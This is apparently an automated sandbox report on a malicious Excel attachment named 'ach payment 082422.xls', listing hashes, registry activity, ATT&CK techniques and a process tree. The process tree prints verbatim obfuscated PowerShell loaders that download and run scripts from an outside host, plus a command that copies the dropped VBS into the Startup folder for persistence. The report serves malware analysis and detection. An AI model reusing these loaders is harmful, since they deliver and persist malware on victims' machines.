33a03e5a48aa54e8ade7fa89d977a846b517956ee17a0419c68698742104450b

General

Target

ach payment 082422.xls
Size

29KB
MD5

70c9d8b73d8b0b704ca4eed431f0b8b9
SHA1

700df606142d4d599078112277f6352134a5376b
SHA256

33a03e5a48aa54e8ade7fa89d977a846b517956ee17a0419c68698742104450b
SHA512

b682cf9edfac472dfec29d8bad297b436321eb16c6dd3bbd3c77d660fabdf5089296657a02e1d74fb960f8784cf87bb1d924778806ae75bf484324dbb719bbed
SSDEEP

768:vgk3hOdsylKlgxopeiBNhZFGzE+cL2kdAJRB5kPok:Yk3hOdsylKlgxopeiBNhZFGzE+cL2kdv

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5044	1680	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

36 5044 powershell.exe
48 3972 powershell.exe

flow	pid	process
36	5044	powershell.exe
48	3972	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

3972 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3972	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{204E4FAE-23EC-11ED-B696-DA88DC7FA106} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b14216000000000200000000001066000000010000200000003558962987f60596793b97ef9f73239406927432cd98f6ab052c22bf1a27904f000000000e80000000020000200000001882b72d3a3b2d538936d6fb017db5453372da6f44029722b694f28e7a7e12ff2000000041ff2bb434d5cce1c5decd6561e8686d6340a0af50e3a0f5f0785292d111e9cd40000000f2af636b64d09344368032357f4b5f26cf0a9f46cfc1e23cf02ea26574a7d11b57d66ae44015b02acf3e5262e859a58d01edb822b27cca5bd604a54d6c384049	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f096f1f6f8b7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4107566318"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "4107566318"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30980088"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30980088"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b14216000000000200000000001066000000010000200000007fa9ed1a7ad162d98a20cab51815b69b34ff4070dff8e8b49cb772def288cda3000000000e80000000020000200000008e58f0a3657c37f2f79df825199db56f20d017e9d336437f1504876594a709d52000000041b56a9956fe33ce3841bdc0de0e55a330b7417ee7c848793cd7979ca947851540000000fc024cbd5ccbe11b3fd95fdd6e9b6f395fbe5822a0b7abb861d5fe07f401e581566c2ff543313a03a977039757c3a846a1c7d2c183cc217edba8aca78967ea7f	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 6024f6f9f8b7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1680 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
5044	powershell.exe
5044	powershell.exe
3972	powershell.exe
3972	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeIncreaseQuotaPrivilege	3972	powershell.exe
Token: SeSecurityPrivilege	3972	powershell.exe
Token: SeTakeOwnershipPrivilege	3972	powershell.exe
Token: SeLoadDriverPrivilege	3972	powershell.exe
Token: SeSystemProfilePrivilege	3972	powershell.exe
Token: SeSystemtimePrivilege	3972	powershell.exe
Token: SeProfSingleProcessPrivilege	3972	powershell.exe
Token: SeIncBasePriorityPrivilege	3972	powershell.exe
Token: SeCreatePagefilePrivilege	3972	powershell.exe
Token: SeBackupPrivilege	3972	powershell.exe
Token: SeRestorePrivilege	3972	powershell.exe
Token: SeShutdownPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeSystemEnvironmentPrivilege	3972	powershell.exe
Token: SeRemoteShutdownPrivilege	3972	powershell.exe
Token: SeUndockPrivilege	3972	powershell.exe
Token: SeManageVolumePrivilege	3972	powershell.exe
Token: 33	3972	powershell.exe
Token: 34	3972	powershell.exe
Token: 35	3972	powershell.exe
Token: 36	3972	powershell.exe
Token: SeIncreaseQuotaPrivilege	3972	powershell.exe
Token: SeSecurityPrivilege	3972	powershell.exe
Token: SeTakeOwnershipPrivilege	3972	powershell.exe
Token: SeLoadDriverPrivilege	3972	powershell.exe
Token: SeSystemProfilePrivilege	3972	powershell.exe
Token: SeSystemtimePrivilege	3972	powershell.exe
Token: SeProfSingleProcessPrivilege	3972	powershell.exe
Token: SeIncBasePriorityPrivilege	3972	powershell.exe
Token: SeCreatePagefilePrivilege	3972	powershell.exe
Token: SeBackupPrivilege	3972	powershell.exe
Token: SeRestorePrivilege	3972	powershell.exe
Token: SeShutdownPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeSystemEnvironmentPrivilege	3972	powershell.exe
Token: SeRemoteShutdownPrivilege	3972	powershell.exe
Token: SeUndockPrivilege	3972	powershell.exe
Token: SeManageVolumePrivilege	3972	powershell.exe
Token: 33	3972	powershell.exe
Token: 34	3972	powershell.exe
Token: 35	3972	powershell.exe
Token: 36	3972	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1564 iexplore.exe

pid	process
1564	iexplore.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXE

pid	process
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE
1564	iexplore.exe
1564	iexplore.exe
4716	IEXPLORE.EXE
4716	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

EXCEL.EXEpowershell.exeiexplore.exeWScript.exepowershell.exe

description	pid	process	target process
PID 1680 wrote to memory of 5044	1680	EXCEL.EXE	powershell.exe
PID 1680 wrote to memory of 5044	1680	EXCEL.EXE	powershell.exe
PID 5044 wrote to memory of 3772	5044	powershell.exe	WScript.exe
PID 5044 wrote to memory of 3772	5044	powershell.exe	WScript.exe
PID 1564 wrote to memory of 4716	1564	iexplore.exe	IEXPLORE.EXE
PID 1564 wrote to memory of 4716	1564	iexplore.exe	IEXPLORE.EXE
PID 1564 wrote to memory of 4716	1564	iexplore.exe	IEXPLORE.EXE
PID 3772 wrote to memory of 3972	3772	WScript.exe	powershell.exe
PID 3772 wrote to memory of 3972	3772	WScript.exe	powershell.exe
PID 3772 wrote to memory of 4032	3772	WScript.exe	powershell.exe
PID 3772 wrote to memory of 4032	3772	WScript.exe	powershell.exe
PID 3972 wrote to memory of 1756	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 1756	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 1756	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 2592	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 2592	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 2592	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 4836	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 4836	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 4836	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 384	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 384	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 384	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 3040	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 3040	3972	powershell.exe	calc.exe
PID 3972 wrote to memory of 3040	3972	powershell.exe	calc.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ach payment 082422.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.sldnur\''+pmet:vne$,''sbv.tneilC/clac/nomwen/moc.ehgityennikcm//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\rundls.vbs')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rundls.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01101101,01100011,01101011,01101001,01101110,01101110,01100101,01111001,01110100,01101001,01100111,01101000,01100101,00101110,01100011,01101111,01101101,00101111,01101110,01100101,01110111,01101101,01101111,01101110,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,00100000,01000011,01101100,01101001,01100101,01101110,01110100,00100000,01001111,01000111,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='ZE000'.replace('Z','I').replace('000','x');sal P $o00;([system.String]::Join('', $gf))|P
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3972

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:1756

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:2592

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:3040

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:384

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:4836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\rundls.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rundls.vbs'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4104

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1564

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1564 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4716

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
9d66bfabe3ba37018a5076dd2ef52c1f

SHA1
4007aafa038612099e65e4c9ea031c0b766b8ca5

SHA256
e2698616633e569b90d8b5329cf8354c227ec3ce91c0ce5a1385fad1d759d6d7

SHA512
43cabd8294631d087d6cdedee1eaa5fd949048861d738b4bc6ffbbe52be69020b9c8cda0dbdd5913f189ad9c9bc940cfdbdaa5dd72d716d55642c4c367b3c53b

Download Submit
C:\Users\Admin\AppData\Local\Temp\b944d715-ae68-492a-9ac2-0910fdf2d15c\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\rundls.vbs
Filesize
2KB

MD5
bce33b78d45f9f86c00d35f0cbdeaa7c

SHA1
89f52ab70ec72cca1f69a8b6139fc3b7181d667c

SHA256
32202bd660c1cbe597504f6108e09c74de842917aaf3ae88446712ec9be78209

SHA512
fdd7af18ec9c94fe5708e8b277ade1036778e692e807649818cab6f5f585f73ff4cc616636f30c579956f5de11bd46290eeda77384d696478898b8c93528ae32

Download Submit
memory/1680-137-0x00007FFF18990000-0x00007FFF189A0000-memory.dmp

Filesize
64KB

Download
memory/1680-135-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-160-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-159-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-158-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-138-0x00007FFF18990000-0x00007FFF189A0000-memory.dmp

Filesize
64KB

Download
memory/1680-133-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-157-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-134-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-132-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/1680-136-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3772-142-0x0000000000000000-mapping.dmp

Download
memory/3972-155-0x00007FFF2F650000-0x00007FFF30111000-memory.dmp

Filesize
10.8MB

Download
memory/3972-150-0x00007FFF2F650000-0x00007FFF30111000-memory.dmp

Filesize
10.8MB

Download
memory/3972-145-0x0000000000000000-mapping.dmp

Download
memory/3972-153-0x00007FFF2F650000-0x00007FFF30111000-memory.dmp

Filesize
10.8MB

Download
memory/3972-152-0x00007FFF34880000-0x00007FFF349CE000-memory.dmp

Filesize
1.3MB

Download
memory/4032-146-0x0000000000000000-mapping.dmp

Download
memory/4032-149-0x00007FFF2F650000-0x00007FFF30111000-memory.dmp

Filesize
10.8MB

Download
memory/5044-144-0x00007FFF2FDB0000-0x00007FFF30871000-memory.dmp

Filesize
10.8MB

Download
memory/5044-141-0x00007FFF2FDB0000-0x00007FFF30871000-memory.dmp

Filesize
10.8MB

Download
memory/5044-140-0x0000013BFBB10000-0x0000013BFBB32000-memory.dmp

Filesize
136KB

Download
memory/5044-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads